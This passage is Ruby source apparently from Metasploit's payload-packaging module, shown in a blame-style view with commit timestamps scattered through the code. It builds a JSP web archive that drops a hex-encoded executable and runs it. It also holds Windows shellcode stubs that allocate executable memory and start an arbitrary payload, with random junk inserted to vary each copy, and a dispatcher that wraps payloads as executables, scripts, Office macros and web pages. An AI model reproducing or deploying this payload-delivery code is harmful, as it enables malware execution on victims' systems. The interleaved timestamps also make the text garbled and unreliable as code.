< ! DOCTYPE web - app PUBLIC
2010-09-21 00:13:30 +00:00
" -//Sun Microsystems, Inc.//DTD Web Application 2.3//EN "
2011-05-20 16:52:51 +00:00
" http://java.sun.com/dtd/web-app_2_3.dtd " >
2010-02-21 01:40:52 +00:00
< web - app >
2010-09-21 00:13:30 +00:00
< servlet >
< servlet - name > NAME < / servlet-name>
< jsp - file > / PAYLOAD.jsp< / jsp - file >
< / servlet>
2010-02-11 04:27:56 +00:00
< / web-app>
}
2010-06-18 21:54:33 +00:00
web_xml . gsub! ( / NAME / , app_name )
web_xml . gsub! ( / PAYLOAD / , jsp_name )
zip = Rex :: Zip :: Archive . new
zip . add_file ( 'META-INF/' , nil , meta_inf )
zip . add_file ( 'META-INF/MANIFEST.MF' , manifest )
zip . add_file ( 'WEB-INF/' , '' )
zip . add_file ( 'WEB-INF/web.xml' , web_xml )
# add the payload
zip . add_file ( " #{ jsp_name } .jsp " , jsp_raw )
# add extra files
if opts [ :extra_files ]
opts [ :extra_files ] . each { | el |
zip . add_file ( el [ 0 ] , el [ 1 ] )
}
end
return zip . pack
end
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload.
# The jsp page converts the hexdump back to a normal .exe file and places it in
# the temp directory. The payload .exe file is then executed.
2010-09-20 15:59:46 +00:00
def self . to_jsp_war ( exe , opts = { } )
2010-02-11 04:27:56 +00:00
2010-01-14 18:15:15 +00:00
# begin <payload>.jsp
2010-02-11 04:27:56 +00:00
var_hexpath = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_exepath = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_data = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_inputstream = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_outputstream = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_numbytes = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_bytearray = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_bytes = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_counter = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_char1 = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_char2 = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_comb = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_exe = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_hexfile = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_proc = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
2010-03-19 02:13:02 +00:00
var_fperm = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_fdel = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
2010-02-11 04:27:56 +00:00
2010-01-14 18:15:15 +00:00
jspraw = " <%@ page import= \" java.io.* \" %> \n "
jspraw << " <% \n "
2010-02-21 01:40:52 +00:00
jspraw << " String #{ var_hexpath } = application.getRealPath( \" / \" ) + \" / #{ var_hexfile } .txt \" ; \n "
2010-01-14 18:15:15 +00:00
jspraw << " String #{ var_exepath } = System.getProperty( \" java.io.tmpdir \" ) + \" / #{ var_exe } \" ; \n "
jspraw << " String #{ var_data } = \" \" ; \n "
jspraw << " if (System.getProperty( \" os.name \" ).toLowerCase().indexOf( \" windows \" ) != -1){ \n "
jspraw << " #{ var_exepath } = #{ var_exepath } .concat( \" .exe \" ); \n "
jspraw << " } \n "
2010-02-11 04:27:56 +00:00
2010-01-14 18:15:15 +00:00
jspraw << " FileInputStream #{ var_inputstream } = new FileInputStream( #{ var_hexpath } ); \n "
jspraw << " FileOutputStream #{ var_outputstream } = new FileOutputStream( #{ var_exepath } ); \n "
2010-02-11 04:27:56 +00:00
2010-01-14 18:15:15 +00:00
jspraw << " int #{ var_numbytes } = #{ var_inputstream } .available(); \n "
jspraw << " byte #{ var_bytearray } [] = new byte[ #{ var_numbytes } ]; \n "
jspraw << " #{ var_inputstream } .read( #{ var_bytearray } ); \n "
jspraw << " #{ var_inputstream } .close(); \n "
2010-02-11 04:27:56 +00:00
2010-01-14 18:15:15 +00:00
jspraw << " byte[] #{ var_bytes } = new byte[ #{ var_numbytes } /2]; \n "
jspraw << " for (int #{ var_counter } = 0; #{ var_counter } < #{ var_numbytes } ; #{ var_counter } += 2) \n "
jspraw << " { \n "
jspraw << " char #{ var_char1 } = (char) #{ var_bytearray } [ #{ var_counter } ]; \n "
jspraw << " char #{ var_char2 } = (char) #{ var_bytearray } [ #{ var_counter } + 1]; \n "
jspraw << " int #{ var_comb } = Character.digit( #{ var_char1 } , 16) & 0xff; \n "
jspraw << " #{ var_comb } <<= 4; \n "
jspraw << " #{ var_comb } += Character.digit( #{ var_char2 } , 16) & 0xff; \n "
jspraw << " #{ var_bytes } [ #{ var_counter } /2] = (byte) #{ var_comb } ; \n "
jspraw << " } \n "
2010-02-11 04:27:56 +00:00
2010-01-14 18:15:15 +00:00
jspraw << " #{ var_outputstream } .write( #{ var_bytes } ); \n "
jspraw << " #{ var_outputstream } .close(); \n "
2010-02-11 04:27:56 +00:00
2010-03-19 02:13:02 +00:00
jspraw << " if (System.getProperty( \" os.name \" ).toLowerCase().indexOf( \" windows \" ) == -1){ \n "
jspraw << " String[] #{ var_fperm } = new String[3]; \n "
jspraw << " #{ var_fperm } [0] = \" chmod \" ; \n "
jspraw << " #{ var_fperm } [1] = \" +x \" ; \n "
jspraw << " #{ var_fperm } [2] = #{ var_exepath } ; \n "
jspraw << " Process #{ var_proc } = Runtime.getRuntime().exec( #{ var_fperm } ); \n "
2011-07-07 19:40:34 +00:00
jspraw << " if ( #{ var_proc } .waitFor() == 0) { \n "
2010-03-19 02:13:02 +00:00
jspraw << " #{ var_proc } = Runtime.getRuntime().exec( #{ var_exepath } ); \n "
2011-07-07 19:40:34 +00:00
jspraw << " } \n "
2010-03-19 02:13:02 +00:00
# Linux and other UNICES allow removing files while they are in use...
jspraw << " File #{ var_fdel } = new File( #{ var_exepath } ); #{ var_fdel } .delete(); \n "
jspraw << " } else { \n "
# Windows does not ..
2010-01-14 18:15:15 +00:00
jspraw << " Process #{ var_proc } = Runtime.getRuntime().exec( #{ var_exepath } ); \n "
2010-03-19 02:13:02 +00:00
jspraw << " } \n "
2010-01-14 18:15:15 +00:00
jspraw << " %> \n "
2010-06-18 21:54:33 +00:00
# Specify the payload in hex as an extra file..
payload_hex = exe . unpack ( 'H*' ) [ 0 ]
opts . merge! (
{
:extra_files = >
[
[ " #{ var_hexfile } .txt " , payload_hex ]
]
} )
return self . to_war ( jspraw , opts )
2010-01-14 18:15:15 +00:00
end
2009-12-28 22:41:43 +00:00
2009-06-20 17:42:17 +00:00
# Creates a .NET DLL which loads data into memory
# at a specified location with read/execute permissions
# - the data will be loaded at: base+0x2065
2011-08-12 19:03:09 +00:00
# - default max size is 0x8000 (32768)
2010-08-14 20:40:45 +00:00
def self . to_dotnetmem ( base = 0x12340000 , data = " " , opts = { } )
2009-06-20 17:42:17 +00:00
2010-08-14 20:40:45 +00:00
# Allow the user to specify their own DLL template
2010-09-21 00:13:30 +00:00
set_template_default ( opts , " dotnetmem.dll " )
2010-08-14 20:40:45 +00:00
pe = ''
File . open ( opts [ :template ] , " rb " ) { | fd |
pe = fd . read ( fd . stat . size )
}
2009-06-20 17:42:17 +00:00
# Configure the image base
2011-08-12 19:03:09 +00:00
base_offset = opts [ :base_offset ] || 180
pe [ base_offset , 4 ] = [ base ] . pack ( 'V' )
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
# Configure the TimeDateStamp
2011-08-12 19:03:09 +00:00
timestamp_offset = opts [ :timestamp_offset ] || 136
pe [ timestamp_offset , 4 ] = [ rand ( 0x100000000 ) ] . pack ( 'V' )
2009-06-20 17:42:17 +00:00
# XXX: Unfortunately we cant make this RWX only RX
# Mark this segment as read-execute AND writable
# pe[412,4] = [0xe0000020].pack("V")
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
# Write the data into the .text segment
2011-08-12 19:03:09 +00:00
text_offset = opts [ :text_offset ] || 0x1065
text_max = opts [ :text_max ] || 0x8000
pack = opts [ :pack ] || 'a32768'
pe [ text_offset , text_max ] = [ data ] . pack ( pack )
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
# Generic a randomized UUID
2011-08-12 19:03:09 +00:00
uuid_offset = opts [ :uuid_offset ] || 37656
pe [ uuid_offset , 16 ] = Rex :: Text . rand_text ( 16 )
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
return pe
end
2009-11-01 04:11:43 +00:00
2010-08-21 07:20:58 +00:00
def self . encode_stub ( framework , arch , code , platform = nil , badchars = '' )
2009-06-21 15:59:09 +00:00
return code if not framework . encoders
2009-06-20 17:42:17 +00:00
framework . encoders . each_module_ranked ( 'Arch' = > arch ) do | name , mod |
begin
enc = framework . encoders . create ( name )
2010-08-21 07:20:58 +00:00
raw = enc . encode ( code , badchars , nil , platform )
2009-06-20 17:42:17 +00:00
return raw if raw
rescue
end
end
nil
end
2009-11-03 23:50:32 +00:00
def self . generate_nops ( framework , arch , len , opts = { } )
opts [ 'BadChars' ] || = ''
opts [ 'SaveRegisters' ] || = [ 'esp' , 'ebp' , 'esi' , 'edi' ]
2011-05-03 15:07:27 +00:00
return nil if not framework . nops
2009-11-01 04:11:43 +00:00
framework . nops . each_module_ranked ( 'Arch' = > arch ) do | name , mod |
begin
nop = framework . nops . create ( name )
2009-11-03 23:50:32 +00:00
raw = nop . generate_sled ( len , opts )
2009-11-01 04:11:43 +00:00
return raw if raw
rescue
end
end
nil
end
# This wrapper is responsible for allocating RWX memory, copying the
# target code there, setting an exception handler that calls ExitProcess
# and finally executing the code.
def self . win32_rwx_exec ( code )
2009-11-30 19:24:47 +00:00
stub_block = % Q ^
; Input : The hash of the API to call and all its parameters must be pushed onto stack .
; Output : The return value from the API call will be in EAX .
; Clobbers : EAX , ECX and EDX ( ala the normal stdcall calling convention )
; Un - Clobbered : EBX , ESI , EDI , ESP and EBP can be expected to remain un - clobbered .
; Note : This function assumes the direction flag has allready been cleared via a CLD instruction .
; Note : This function is unable to call forwarded exports .
api_call :
pushad ; We preserve all the registers for the caller , bar EAX and ECX .
mov ebp , esp ; Create a new stack frame
2010-07-12 21:51:11 +00:00
xor eax , eax ; Zero EDX
mov eax , [ fs : eax + 48 ] ; Get a pointer to the PEB
mov eax , [ eax + 12 ] ; Get PEB - > Ldr
mov eax , [ eax + 20 ] ; Get the first module from the InMemoryOrder module list
mov edx , eax
2009-11-30 19:24:47 +00:00
next_mod : ;
mov esi , [ edx + 40 ] ; Get pointer to modules name ( unicode string )
movzx ecx , word [ edx + 38 ] ; Set ECX to the length we want to check
xor edi , edi ; Clear EDI which will store the hash of the module name
loop_modname : ;
xor eax , eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al , 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al , 0x20 ; If so normalise to uppercase
not_lowercase : ;
ror edi , 13 ; Rotate right our hash value
add edi , eax ; Add the next byte of the name
2010-09-20 03:26:41 +00:00
dec ecx
jnz loop_modname ; Loop untill we have read enough
2009-11-30 19:24:47 +00:00
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
2010-07-12 21:51:11 +00:00
; Proceed to iterate the export address table ,
2009-11-30 19:24:47 +00:00
mov edx , [ edx + 16 ] ; Get this modules base address
mov eax , [ edx + 60 ] ; Get PE header
add eax , edx ; Add the modules base address
mov eax , [ eax + 120 ] ; Get export tables RVA
test eax , eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present , process the next module
add eax , edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx , [ eax + 24 ] ; Get the number of function names
mov ebx , [ eax + 32 ] ; Get the rva of the function names
add ebx , edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func : ;
2010-07-12 21:51:11 +00:00
test ecx , ecx ; ( Changed from JECXZ to work around METASM )
jz get_next_mod ; When we reach the start of the EAT ( we search backwards ) , process the next module
2009-11-30 19:24:47 +00:00
dec ecx ; Decrement the function name counter
mov esi , [ ebx + ecx * 4 ] ; Get rva of next module name
add esi , edx ; Add the modules base address
xor edi , edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname : ;
xor eax , eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi , 13 ; Rotate right our hash value
add edi , eax ; Add the next byte of the name
cmp al , ah ; Compare AL ( the next byte from the name ) to AH ( null )
jne loop_funcname ; If we have not reached the null terminator , continue
add edi , [ ebp - 8 ] ; Add the current module hash to the function hash
cmp edi , [ ebp + 36 ] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found , fix up stack , call the function and then value else compute the next one ...
pop eax ; Restore the current modules EAT
mov ebx , [ eax + 36 ] ; Get the ordinal table rva
add ebx , edx ; Add the modules base address
mov cx , [ ebx + 2 * ecx ] ; Get the desired functions ordinal
mov ebx , [ eax + 28 ] ; Get the function addresses table rva
add ebx , edx ; Add the modules base address
mov eax , [ ebx + 4 * ecx ] ; Get the desired functions RVA
add eax , edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function ...
finish :
mov [ esp + 36 ] , eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers , bar EAX , ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller ...
get_next_mod : ;
pop eax ; Pop off the current ( now the previous ) modules EAT
get_next_mod1 : ;
pop edi ; Pop off the current ( now the previous ) modules hash
pop edx ; Restore our position in the module list
mov edx , [ edx ] ; Get the next module
2010-07-12 21:51:11 +00:00
jmp next_mod ; Process this module
2009-11-30 19:24:47 +00:00
^
stub_exit = % Q ^
; Input : EBP must be the address of 'api_call' .
; Output : None .
; Clobbers : EAX , EBX , ( ESP will also be modified )
; Note : Execution is not expected to ( successfully ) continue past this block
exitfunk :
mov ebx , 0x0A2A1DE0 ; The EXITFUNK as specified by user ...
push 0x9DBD95A6 ; hash ( " kernel32.dll " , " GetVersion " )
call ebp ; GetVersion ( ) ; ( AL will = major version and AH will = minor version )
cmp al , byte 6 ; If we are not running on Windows Vista , 2008 or 7
2010-07-12 21:51:11 +00:00
jl goodbye ; Then just call the exit function ...
2009-11-30 19:24:47 +00:00
cmp bl , 0xE0 ; If we are trying a call to kernel32 . dll! ExitThread on Windows Vista , 2008 or 7 ...
2010-07-12 21:51:11 +00:00
jne goodbye ;
2009-11-30 19:24:47 +00:00
mov ebx , 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll . dll! RtlExitUserThread
goodbye : ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK ( 0 ) ;
^
stub_alloc = % Q ^
cld ; Clear the direction flag .
call start ; Call start , this pushes the address of 'api_call' onto the stack .
delta : ;
#{stub_block}
start : ;
pop ebp ; Pop off the address of 'api_call' for calling later .
allocate_size :
mov esi , PAYLOAD_SIZE
allocate :
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is .
push 0xE553A458 ; hash ( " kernel32.dll " , " VirtualAlloc " )
call ebp ; VirtualAlloc ( NULL , dwLength , MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ;
mov ebx , eax ; Store allocated address in ebx
mov edi , eax ; Prepare EDI with the new address
mov ecx , esi ; Prepare ECX with the length of the code
call get_payload
got_payload :
pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling
exitblock :
#{stub_exit}
set_handler :
xor eax , eax
push dword [ fs : eax ]
mov dword [ fs : eax ] , esp
call ebx
2010-07-12 21:51:11 +00:00
jmp exitblock
2009-11-30 19:24:47 +00:00
^
stub_final = % Q ^
get_payload :
call got_payload
payload :
; Append an arbitary payload here
^
stub_alloc . gsub! ( 'short' , '' )
stub_alloc . gsub! ( 'byte' , '' )
wrapper = " "
# regs = %W{eax ebx ecx edx esi edi ebp}
cnt_jmp = 0
stub_alloc . each_line do | line |
line . gsub! ( / ;.* / , '' )
line . strip!
next if line . empty?
2010-07-12 21:51:11 +00:00
if ( rand ( 2 ) == 0 )
2009-11-30 19:24:47 +00:00
wrapper << " nop \n "
end
2010-07-12 21:51:11 +00:00
if ( rand ( 2 ) == 0 )
2009-11-30 19:24:47 +00:00
wrapper << " jmp autojump #{ cnt_jmp } \n "
2010-07-12 21:51:11 +00:00
1 . upto ( rand ( 8 ) + 8 ) do
2010-01-14 18:15:15 +00:00
wrapper << " db 0x #{ " %.2x " % rand ( 0x100 ) } \n "
2009-11-30 19:24:47 +00:00
end
wrapper << " autojump #{ cnt_jmp } : \n "
2010-07-12 21:51:11 +00:00
cnt_jmp += 1
2009-11-30 19:24:47 +00:00
end
wrapper << line + " \n "
end
wrapper << stub_final
enc = Metasm :: Shellcode . assemble ( Metasm :: Ia32 . new , wrapper ) . encoded
off = enc . offset_of_reloc ( 'PAYLOAD_SIZE' )
res = enc . data + code
res [ off , 4 ] = [ code . length ] . pack ( 'V' )
2009-11-01 04:11:43 +00:00
res
end
2009-06-20 17:42:17 +00:00
2010-03-24 15:55:24 +00:00
# This wrapper is responsible for allocating RWX memory, copying the
# target code there, setting an exception handler that calls ExitProcess,
2010-04-14 21:44:23 +00:00
# starting the code in a new thread, and finally jumping back to the next
# code to execute. block_offset is the offset of the next code from
2010-03-24 15:55:24 +00:00
# the start of this code
2011-06-29 01:13:12 +00:00
def self . win32_rwx_exec_thread ( code , block_offset , which_offset = 'start' )
2010-03-24 15:55:24 +00:00
stub_block = % Q ^
; Input : The hash of the API to call and all its parameters must be pushed onto stack .
; Output : The return value from the API call will be in EAX .
; Clobbers : EAX , ECX and EDX ( ala the normal stdcall calling convention )
; Un - Clobbered : EBX , ESI , EDI , ESP and EBP can be expected to remain un - clobbered .
; Note : This function assumes the direction flag has allready been cleared via a CLD instruction .
; Note : This function is unable to call forwarded exports .
api_call :
pushad ; We preserve all the registers for the caller , bar EAX and ECX .
mov ebp , esp ; Create a new stack frame
xor edx , edx ; Zero EDX
mov edx , [ fs : edx + 48 ] ; Get a pointer to the PEB
mov edx , [ edx + 12 ] ; Get PEB - > Ldr
mov edx , [ edx + 20 ] ; Get the first module from the InMemoryOrder module list
next_mod : ;
mov esi , [ edx + 40 ] ; Get pointer to modules name ( unicode string )
movzx ecx , word [ edx + 38 ] ; Set ECX to the length we want to check
xor edi , edi ; Clear EDI which will store the hash of the module name
loop_modname : ;
xor eax , eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al , 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al , 0x20 ; If so normalise to uppercase
not_lowercase : ;
ror edi , 13 ; Rotate right our hash value
add edi , eax ; Add the next byte of the name
2010-09-20 03:26:41 +00:00
dec ecx
jnz loop_modname ; Loop untill we have read enough
2010-03-24 15:55:24 +00:00
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to itterate the export address table ,
mov edx , [ edx + 16 ] ; Get this modules base address
mov eax , [ edx + 60 ] ; Get PE header
add eax , edx ; Add the modules base address
mov eax , [ eax + 120 ] ; Get export tables RVA
test eax , eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present , process the next module
add eax , edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx , [ eax + 24 ] ; Get the number of function names
mov ebx , [ eax + 32 ] ; Get the rva of the function names
add ebx , edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func : ;
jecxz get_next_mod ; When we reach the start of the EAT ( we search backwards ) , process the next module
dec ecx ; Decrement the function name counter
mov esi , [ ebx + ecx * 4 ] ; Get rva of next module name
add esi , edx ; Add the modules base address
xor edi , edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname : ;
xor eax , eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi , 13 ; Rotate right our hash value
add edi , eax ; Add the next byte of the name
cmp al , ah ; Compare AL ( the next byte from the name ) to AH ( null )
jne loop_funcname ; If we have not reached the null terminator , continue
add edi , [ ebp - 8 ] ; Add the current module hash to the function hash
cmp edi , [ ebp + 36 ] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found , fix up stack , call the function and then value else compute the next one ...
pop eax ; Restore the current modules EAT
mov ebx , [ eax + 36 ] ; Get the ordinal table rva
add ebx , edx ; Add the modules base address
mov cx , [ ebx + 2 * ecx ] ; Get the desired functions ordinal
mov ebx , [ eax + 28 ] ; Get the function addresses table rva
add ebx , edx ; Add the modules base address
mov eax , [ ebx + 4 * ecx ] ; Get the desired functions RVA
add eax , edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function ...
finish :
mov [ esp + 36 ] , eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers , bar EAX , ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller ...
get_next_mod : ;
pop eax ; Pop off the current ( now the previous ) modules EAT
get_next_mod1 : ;
pop edi ; Pop off the current ( now the previous ) modules hash
pop edx ; Restore our position in the module list
mov edx , [ edx ] ; Get the next module
2010-08-27 05:11:19 +00:00
jmp next_mod ; Process this module
2010-03-24 15:55:24 +00:00
^
stub_exit = % Q ^
; Input : EBP must be the address of 'api_call' .
; Output : None .
; Clobbers : EAX , EBX , ( ESP will also be modified )
; Note : Execution is not expected to ( successfully ) continue past this block
exitfunk :
mov ebx , 0x0A2A1DE0 ; The EXITFUNK as specified by user ...
push 0x9DBD95A6 ; hash ( " kernel32.dll " , " GetVersion " )
call ebp ; GetVersion ( ) ; ( AL will = major version and AH will = minor version )
cmp al , byte 6 ; If we are not running on Windows Vista , 2008 or 7
2010-08-27 05:11:19 +00:00
jl goodbye ; Then just call the exit function ...
2010-03-24 15:55:24 +00:00
cmp bl , 0xE0 ; If we are trying a call to kernel32 . dll! ExitThread on Windows Vista , 2008 or 7 ...
2010-08-27 05:11:19 +00:00
jne goodbye ;
2010-03-24 15:55:24 +00:00
mov ebx , 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll . dll! RtlExitUserThread
goodbye : ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK ( 0 ) ;
^
stub_alloc = % Q ^
pushad ; Save registers
cld ; Clear the direction flag .
call start ; Call start , this pushes the address of 'api_call' onto the stack .
delta : ;
#{stub_block}
start : ;
pop ebp ; Pop off the address of 'api_call' for calling later .
allocate_size :
mov esi , PAYLOAD_SIZE
allocate :
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is .
push 0xE553A458 ; hash ( " kernel32.dll " , " VirtualAlloc " )
call ebp ; VirtualAlloc ( NULL , dwLength , MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ;
mov ebx , eax ; Store allocated address in ebx
mov edi , eax ; Prepare EDI with the new address
mov ecx , esi ; Prepare ECX with the length of the code
call get_payload
got_payload :
pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling
exitblock :
#{stub_exit}
2010-04-14 21:44:23 +00:00
2010-03-24 15:55:24 +00:00
set_handler :
xor eax , eax
; push dword [ fs : eax ]
; mov dword [ fs : eax ] , esp
push eax ; LPDWORD lpThreadId ( NULL )
push eax ; DWORD dwCreationFlags ( 0 )
push eax ; LPVOID lpParameter ( NULL )
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress ( payload )
push eax ; SIZE_T dwStackSize ( 0 for default )
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes ( NULL )
push 0x160D6838 ; hash ( " kernel32.dll " , " CreateThread " )
call ebp ; Spawn payload thread
2010-04-14 21:44:23 +00:00
pop eax ; Skip
; pop eax ; Skip
pop eax ; Skip
2010-03-24 15:55:24 +00:00
popad ; Get our registers back
; sub esp , 44 ; Move stack pointer back past the handler
^
stub_final = % Q ^
get_payload :
call got_payload
payload :
; Append an arbitary payload here
^
stub_alloc . gsub! ( 'short' , '' )
stub_alloc . gsub! ( 'byte' , '' )
wrapper = " "
# regs = %W{eax ebx ecx edx esi edi ebp}
cnt_jmp = 0
cnt_nop = 64
stub_alloc . each_line do | line |
line . gsub! ( / ;.* / , '' )
line . strip!
next if line . empty?
if ( cnt_nop > 0 and rand ( 4 ) == 0 )
wrapper << " nop \n "
cnt_nop -= 1
end
if ( cnt_nop > 0 and rand ( 16 ) == 0 )
cnt_nop -= 2
cnt_jmp += 1
wrapper << " jmp autojump #{ cnt_jmp } \n "
2010-04-03 05:44:40 +00:00
1 . upto ( rand ( 8 ) + 1 ) do
2010-03-24 15:55:24 +00:00
wrapper << " db 0x #{ " %.2x " % rand ( 0x100 ) } \n "
cnt_nop -= 1
end
wrapper << " autojump #{ cnt_jmp } : \n "
end
wrapper << line + " \n "
end
#someone who knows how to use metasm please explain the right way to do this.
wrapper << " db 0xe9 \n db 0xFF \n db 0xFF \n db 0xFF \n db 0xFF \n "
wrapper << stub_final
enc = Metasm :: Shellcode . assemble ( Metasm :: Ia32 . new , wrapper ) . encoded
off = enc . offset_of_reloc ( 'PAYLOAD_SIZE' )
soff = enc . data . index ( " \xe9 \xff \xff \xff \xff " ) + 1
res = enc . data + code
res [ off , 4 ] = [ code . length ] . pack ( 'V' )
2011-06-29 01:13:12 +00:00
if which_offset == 'start'
res [ soff , 4 ] = [ block_offset - ( soff + 4 ) ] . pack ( 'V' )
elsif which_offset == 'end'
res [ soff , 4 ] = [ res . length - ( soff + 4 ) + block_offset ] . pack ( 'V' )
else
raise RuntimeError , 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
end
2010-03-24 15:55:24 +00:00
res
end
2010-09-21 00:13:30 +00:00
#
# This routine is shared between msfencode, rpc, and payload modules (use <payload>)
#
# It will return nil if it wasn't able to generate any output.
#
def self . to_executable_fmt ( framework , arch , plat , code , fmt , exeopts )
output = nil
case fmt
when 'dll'
if ( not arch or ( arch . index ( ARCH_X86 ) ) )
output = Msf :: Util :: EXE . to_win32pe_dll ( framework , code , exeopts )
end
if ( arch and ( arch . index ( ARCH_X86_64 ) or arch . index ( ARCH_X64 ) ) )
output = Msf :: Util :: EXE . to_win64pe_dll ( framework , code , exeopts )
end
when 'exe'
if ( not arch or ( arch . index ( ARCH_X86 ) ) )
output = Msf :: Util :: EXE . to_win32pe ( framework , code , exeopts )
end
if ( arch and ( arch . index ( ARCH_X86_64 ) or arch . index ( ARCH_X64 ) ) )
output = Msf :: Util :: EXE . to_win64pe ( framework , code , exeopts )
end
when 'exe-small'
if ( not arch or ( arch . index ( ARCH_X86 ) ) )
output = Msf :: Util :: EXE . to_win32pe_old ( framework , code , exeopts )
end
when 'elf'
2011-07-10 06:40:03 +00:00
if ( not arch or ( arch . index ( ARCH_X86 ) ) )
output = Msf :: Util :: EXE . to_linux_x86_elf ( framework , code , exeopts )
end
if ( arch and ( arch . index ( ARCH_X86_64 ) or arch . index ( ARCH_X64 ) ) )
output = Msf :: Util :: EXE . to_linux_x64_elf ( framework , code , exeopts )
end
2010-09-21 00:13:30 +00:00
when 'macho'
2012-02-06 13:58:01 +00:00
if ( not arch or ( arch . index ( ARCH_X86 ) ) )
output = Msf :: Util :: EXE . to_osx_x86_macho ( framework , code , exeopts )
end
if ( arch and ( arch . index ( ARCH_X86_64 ) or arch . index ( ARCH_X64 ) ) )
output = Msf :: Util :: EXE . to_osx_x64_macho ( framework , code , exeopts )
end
2010-09-21 00:13:30 +00:00
when 'vba'
2012-01-22 12:23:21 +00:00
output = Msf :: Util :: EXE . to_vba ( framework , code , exeopts )
when 'vba-exe'
2010-09-21 00:13:30 +00:00
exe = Msf :: Util :: EXE . to_win32pe ( framework , code , exeopts )
output = Msf :: Util :: EXE . to_exe_vba ( exe )
when 'vbs'
output = Msf :: Util :: EXE . to_win32pe_vbs ( framework , code , exeopts . merge ( { :persist = > false } ) )
when 'loop-vbs'
output = Msf :: Util :: EXE . to_win32pe_vbs ( framework , code , exeopts . merge ( { :persist = > true } ) )
when 'asp'
output = Msf :: Util :: EXE . to_win32pe_asp ( framework , code , exeopts )
2012-02-25 23:02:56 +00:00
when 'aspx'
output = Msf :: Util :: EXE . to_win32pe_aspx ( framework , code , exeopts )
2012-04-04 15:41:50 +00:00
2010-09-21 00:13:30 +00:00
when 'war'
arch || = [ ARCH_X86 ]
tmp_plat = plat . platforms if plat
tmp_plat || = Msf :: Module :: PlatformList . transform ( 'win' )
exe = Msf :: Util :: EXE . to_executable ( framework , arch , tmp_plat , code , exeopts )
output = Msf :: Util :: EXE . to_jsp_war ( exe )
2012-05-18 21:39:49 +00:00
when 'psh'
output = Msf :: Util :: EXE . to_win32pe_psh ( framework , code , exeopts )
when 'psh-net'
output = Msf :: Util :: EXE . to_win32pe_psh_net ( framework , code , exeopts )
2010-09-21 00:13:30 +00:00
end
output
end
